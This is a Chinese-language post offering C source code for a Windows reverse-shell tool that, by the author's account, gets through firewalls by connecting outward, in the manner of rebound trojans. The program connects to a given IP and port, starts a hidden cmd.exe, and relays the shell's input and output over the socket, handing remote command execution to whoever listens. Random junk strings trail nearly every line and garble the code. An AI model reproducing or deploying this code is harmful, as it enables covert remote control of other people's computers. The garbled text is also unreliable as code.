Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 O#O"]A  
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/* ============================== ' ;nG4+K  
Rebound port in Windows NT o.Y6(o  
By wind,2006/7 CH|cK8q  
===============================*/ 5M5vxJ)Lh  
#include |/%5~=%7  
#include d&Nji%Ej  
i^A=nsD`  
#pragma comment(lib,"wsock32.lib") P7bb2"_9  
W
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void OutputShell(); ,2 W=/,5A  
SOCKET sClient; <&#]|HGc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .q4$)8[Pg  
9Hb|$/FD  
void main(int argc,char **argv) {.KD#W $5  
{ P2C>IS  
WSADATA stWsaData; P{_%p<:V  
int nRet; M3F1O6=4j  
SOCKADDR_IN stSaiClient,stSaiServer; K[/L!.Ag  
:?FHqfN?_  
if(argc != 3) W ;+()vC  
{ Y}t)!}p$r  
printf("Useage:\n\rRebound DestIP DestPort\n"); XIZN9/;  
return; *o:J 4'  
} vZ57 S13  
 iD])E/  
WSAStartup(MAKEWORD(2,2),&stWsaData); z#P`m,~t0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ty~z%=H  
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stSaiClient.sin_family = AF_INET; WQiRbbX  
stSaiClient.sin_port = htons(0); 5/h-Hr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T{`VUS/  
j;z7T;!i  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yJ0%6],^g  
{ B)L0hi  
printf("Bind Socket Failed!\n"); 'r\RN\PT  
return; I^u~r.  
} Kr1Y3[iNv  
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stSaiServer.sin_family = AF_INET; Buh}+n2]5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `^'fS@VA  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *jPd=+d  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dPf7o   
{ 7[mfI?*m  
printf("Connect Error!"); +TaxH;  
return; w{2CV\^>5  
} %0/qb0N&  
OutputShell(); kTI5CoXzq  
} Q3^h  
S^p^) fAmF  
void OutputShell() $@] xi  
{ ZnzO
]  
char szBuff[1024]; FkuD Gg~a  
SECURITY_ATTRIBUTES stSecurityAttributes; >qr/1mW  
OSVERSIONINFO stOsversionInfo; [{GN#W|AGP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SDE$ymPx  
STARTUPINFO stStartupInfo; GRkN0|ovfj  
char *szShell; |>'N^  
PROCESS_INFORMATION stProcessInformation; Meep  
unsigned long lBytesRead; *l"CIG'  
c?. i;4yh  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w%X@os}E  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WcY_w`*L  
stSecurityAttributes.lpSecurityDescriptor = 0; 42 lw>gzr!  
stSecurityAttributes.bInheritHandle = TRUE; @|wU @by{  
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)1Y?S;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lz<' L. .  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !vpXXI4  
Cj`~ntMN  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <Z.{q Zd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yFb"
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stStartupInfo.wShowWindow = SW_HIDE; gCiM\Qx  
stStartupInfo.hStdInput = hReadPipe; 1jop;{,^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; } S]!W\a  
jn(!6\n"  
GetVersionEx(&stOsversionInfo); $cJ fdE  
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switch(stOsversionInfo.dwPlatformId) <DR!AR)  
{ _Y]Oloo('  
case 1: Cojs;`3iF:  
szShell = "command.com"; t^zE^:06  
break; :3 Hz!iZM  
default: 2PRiiL@  
szShell = "cmd.exe"; >JsVIfAF
 
break; /^k%sG@?  
} A/UOcl+N  
dhnX\/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !y/e Fx  
vazA@|^8  
send(sClient,szMsg,77,0); Y`eF9Im,  
while(1) "!AtS  
{ =SeQ- H#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !o?&{"#+  
if(lBytesRead) jIrfJ*z  
{ $':5uU1}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); T|D^kL%m!  
send(sClient,szBuff,lBytesRead,0); jN*w
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} {J,"iJKop  
else ^0}wmxDq  
{ js Z"T  
lBytesRead=recv(sClient,szBuff,1024,0); RN[x\",  
if(lBytesRead<=0) break; lMu-,Z="  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,tg]Gt  
} $MwBt  
} fmQif]J;;  
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return; p_&B+ <z  
}